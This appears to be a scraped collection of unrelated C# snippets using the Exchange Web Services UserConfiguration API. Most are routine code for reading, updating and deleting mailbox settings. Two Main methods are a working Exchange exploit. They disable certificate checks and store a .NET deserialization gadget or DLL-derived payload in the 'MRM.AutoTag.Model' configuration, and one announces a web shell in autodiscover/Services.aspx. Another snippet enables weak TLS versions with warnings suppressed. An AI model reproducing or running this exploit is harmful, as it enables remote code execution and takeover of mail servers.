public void LoadUserConfigIntoTreeViewNode(ExchangeService service, ref TreeNode oNode, FolderId oFolderId, string sSettingsName) { bool bFound = false; service.ClientRequestId = Guid.NewGuid().ToString(); // Set a new GUID. UserConfiguration OWAConfiguration = UserConfiguration.Bind(service, sSettingsName, oFolderId, UserConfigurationProperties.All); TreeNode xNode = null; IDictionaryEnumerator OWAEnum = (IDictionaryEnumerator)OWAConfiguration.Dictionary.GetEnumerator(); while (OWAEnum.MoveNext()) { OWAEnum.Key.ToString(); xNode = new TreeNode(OWAEnum.Key.ToString()); if (OWAEnum.Value != null) { xNode.Tag = OWAEnum.Value.ToString(); } else { xNode.Tag = ""; } oNode.Nodes.Add(xNode); bFound = true; } //if (bFound == false) // oNode.ForeColor = Color.Gray; //if (oNode.Nodes.Count == 0) // oNode.ForeColor = Color.Gray; }
public static MasterCategoryList Bind(ExchangeService service, string smtpAddress) { try { FolderId TargetFolder = new FolderId(WellKnownFolderName.Calendar, smtpAddress); var item = UserConfiguration.Bind(service, "CategoryList", TargetFolder, UserConfigurationProperties.XmlData); var reader = new StreamReader(new MemoryStream(item.XmlData), Encoding.UTF8, true); var serializer = new XmlSerializer(typeof(MasterCategoryList)); var result = (MasterCategoryList)serializer.Deserialize(reader); result._UserConfigurationItem = item; return(result); } catch (System.ArgumentNullException) { // There is a folder but it didn't have any categories // Create an empty list and return it FolderId TargetFolder = new FolderId(WellKnownFolderName.Calendar, smtpAddress); var item = UserConfiguration.Bind(service, "CategoryList", TargetFolder, UserConfigurationProperties.XmlData); var result = new MasterCategoryList(); result.Categories = new List <Category>(); result._UserConfigurationItem = item; return(result); } catch (Exception ex) { // Seems there is no MasterCategoryList, we will try to create a new one log.WriteErrorLog(ex.ToString()); log.WriteErrorLog(ex.Message); return(CreateNewMasterCartegories(service)); } }
public Categories GetCategories() { ExchangeService ewsservice = GetEwsService(); #pragma warning disable S4423 // Weak SSL/TLS protocols should not be used System.Net.ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls; //DevSkim: ignore DS440020,DS440000,DS144436 #pragma warning restore S4423 // Weak SSL/TLS protocols should not be used UserConfiguration usrConfig = UserConfiguration.Bind(ewsservice, "CategoryList", WellKnownFolderName.Calendar, UserConfigurationProperties.All); byte[] xmlData = usrConfig.XmlData; //found some nasty leading chars in XmlData which was breaking deserialization //it looked something like ï»À<?xml version... o worse an unprintable char if (usrConfig.XmlData[0].Equals(239) && usrConfig.XmlData[1].Equals(187) && usrConfig.XmlData[2].Equals(191)) { xmlData = usrConfig.XmlData.Skip(3).ToArray(); } string xml = Encoding.UTF8.GetString(xmlData); XmlSerializer serializer = new XmlSerializer(typeof(Categories)); using (StringReader reader = new StringReader(xml)) { var categories = (Categories)serializer.Deserialize(reader); return(categories); } }
static void GetUserConfiguration(ExchangeService service) { // Binds to an user configuration object. Results in a call to EWS. UserConfiguration usrConfig = UserConfiguration.Bind(service, "MyCustomSettingName", WellKnownFolderName.Inbox, UserConfigurationProperties.All); // Display the returned property values. Console.WriteLine("User Config Identifier: " + usrConfig.ItemId.UniqueId); Console.WriteLine("XmlData: " + Encoding.UTF8.GetString(usrConfig.XmlData)); Console.WriteLine("BinaryData: " + Encoding.UTF8.GetString(usrConfig.BinaryData)); }
static void DeleteUserConfiguration(ExchangeService service) { // Binds to an user configuration object. Results in a call to EWS. UserConfiguration usrConfig = UserConfiguration.Bind(service, "MyCustomSettingName", WellKnownFolderName.Inbox, UserConfigurationProperties.Id); // Deletes the user configuration object. // Results in a call to EWS. usrConfig.Delete(); Console.WriteLine("The user configuration settings have been deleted."); }
static void Main(string[] args) { try { ExchangeService service = new ExchangeService(ExchangeVersion.Exchange2010); service.Credentials = new WebCredentials(args[1], args[2]); ServicePointManager.ServerCertificateValidationCallback = CheckValidationResult; service.Url = new Uri("https://" + args[0] + "/ews/Exchange.asmx"); { byte[] data = GeneratePayload(File.ReadAllBytes("e.dll")); UserConfiguration u = null; Folder folder = Folder.Bind(service, WellKnownFolderName.Inbox); try{ u = UserConfiguration.Bind(service, "MRM.AutoTag.Model", folder.Id, UserConfigurationProperties.BinaryData); u.Delete(); } catch {} try{ u = UserConfiguration.Bind(service, "MRM.AutoTag.Setting", folder.Id, UserConfigurationProperties.Dictionary); u.Delete(); } catch {} u = new UserConfiguration(service); u.BinaryData = data; u.Save("MRM.AutoTag.Model", folder.Id); try{ u = new UserConfiguration(service); u.Dictionary["AutoTagEnabled"] = true; u.Dictionary["NumberOfPredictedEmail"] = 0; u.Dictionary["NumberOfCorrectedEmail"] = 0; u.Dictionary["NumberOfRetaggedEmail"] = 0; u.Save("MRM.AutoTag.Setting", folder.Id); }catch {} Console.WriteLine("UserConfiguration created."); } } catch (Exception ex) { Console.WriteLine(ex); } }
static void UpdateUserConfiguration(ExchangeService service) { // Binds to an user configuration object. Results in a call to EWS. UserConfiguration usrConfig = UserConfiguration.Bind(service, "MyCustomSettingName", WellKnownFolderName.Inbox, UserConfigurationProperties.Id); // Add dictionary property values to the local copy of the object. usrConfig.Dictionary.Add("Key1", 1); usrConfig.Dictionary.Add("Key2", 3); usrConfig.Dictionary.Add("Key3", 9); // Updates the local changes to the user configuration object and uploads the // changes to the server. Results in a call to EWS. usrConfig.Update(); Console.WriteLine("User configuration has been updated to include dictionary property values"); }
static void Main(string[] args) { ActivitySurrogateSelectorGenerator asg = new ActivitySurrogateSelectorGenerator(); // Retrieve gadget if (args.Length != 3) { Console.WriteLine("[*] Usage: Exp mail.test.cc user pass"); Console.WriteLine("[*] Powered by Boi from LintonLab at Qihoo Group"); return; } byte[] obj = (byte[])asg.Generate("", GADGET_TYPE, false); Console.WriteLine(GADGET_TYPE); string b64obj = System.Convert.ToBase64String(obj); ExchangeService service = new ExchangeService(ExchangeVersion.Exchange2010) { Credentials = new WebCredentials(args[1], args[2]) }; ServicePointManager.ServerCertificateValidationCallback += (sender, cert, chain, sslPolicyErrors) => true; Console.WriteLine("[+] Target: https://" + args[0] + "/ews/Exchange.asmx"); Console.WriteLine("[+] User: "******" " + args[2]); service.Url = new Uri("https://" + args[0] + "/ews/Exchange.asmx"); { byte[] data = obj; UserConfiguration u = null; Folder folder = Folder.Bind(service, WellKnownFolderName.Inbox); try { u = UserConfiguration.Bind(service, "MRM.AutoTag.Model", folder.Id, UserConfigurationProperties.BinaryData); u.Delete(); } catch { } u = new UserConfiguration(service) { BinaryData = data }; u.Save("MRM.AutoTag.Model", folder.Id); } Console.WriteLine("[+] Shell in " + args[0] + "\\autodiscover\\Services.aspx, Wait for few minutes"); }
public void DeleteUserConfiguration(FolderId folderId, string configName) { UserConfiguration userConfig = base.InvokeServiceCall <UserConfiguration>(() => UserConfiguration.Bind(this.Service, configName, folderId, 4)); if (userConfig != null) { base.InvokeServiceCall(delegate() { userConfig.Delete(); }); } }
public bool CreateOrUpdateUserConfiguration(byte[] xmlData, FolderId folderId, string configName) { UserConfiguration userConfig = base.InvokeServiceCall <UserConfiguration>(() => UserConfiguration.Bind(this.Service, configName, folderId, 4)); if (userConfig != null) { userConfig.XmlData = xmlData; base.InvokeServiceCall(delegate() { userConfig.Update(); }); } else { userConfig = new UserConfiguration(base.Service); userConfig.XmlData = xmlData; base.InvokeServiceCall(delegate() { userConfig.Save(configName, folderId); }); } return(true); }